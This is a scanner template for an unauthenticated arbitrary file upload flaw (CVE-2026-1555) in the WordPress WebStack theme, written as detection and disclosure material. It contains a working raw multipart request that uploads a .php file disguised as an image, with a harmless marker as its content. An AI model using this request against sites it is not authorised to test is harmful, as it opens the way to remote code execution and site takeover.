id: CVE-2026-1555 info: name: "WordPress WebStack Theme - Unauthenticated Arbitrary File Upload (img_upload)" author: vedas-arpsyndicate severity: critical description: | The WebStack theme for WordPress (<= 1.2024) registers the io_img_upload() handler on the unauthenticated AJAX action wp_ajax_nopriv_img_upload (inc/ajax.php). The handler reads $_FILES['files'], derives the stored file extension from the uploaded file name, and renames the upload into wp_upload_dir() without ever checking the extension against its own $extArr allow-list ("jpg","png","jpeg"). An unauthenticated attacker can therefore upload a .php file and obtain remote code execution. This template performs the unauthenticated multipart upload of a PHP file and confirms the missing file-type validation by matching the handler's success envelope ("status":1) together with the returned uploads path for the stored .php object. The fix adds server-side extension and MIME validation before the file is stored. reference: - https://www.exploit.observer/?keyword=CVE-2026-1555&match=exact - https://subdomain.center/?engine=ammonites&keyword=webstack&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-1555 cwe-id: CWE-434 metadata: verified: false tags: cve,cve2026,wordpress,webstack,fileupload,rce,unauth http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Host}} Content-Type: multipart/form-data; boundary=----vedasARPSyndicate ------vedasARPSyndicate Content-Disposition: form-data; name="action" img_upload ------vedasARPSyndicate Content-Disposition: form-data; name="files"; filename="{{randstr}}.php" Content-Type: image/jpeg VEDAS-{{randstr_1}}-UPLOAD ------vedasARPSyndicate-- matchers-condition: and matchers: - type: word part: body condition: and words: - '"status":1' - '"src":' - '.php' - 'uploads' - type: status status: - 200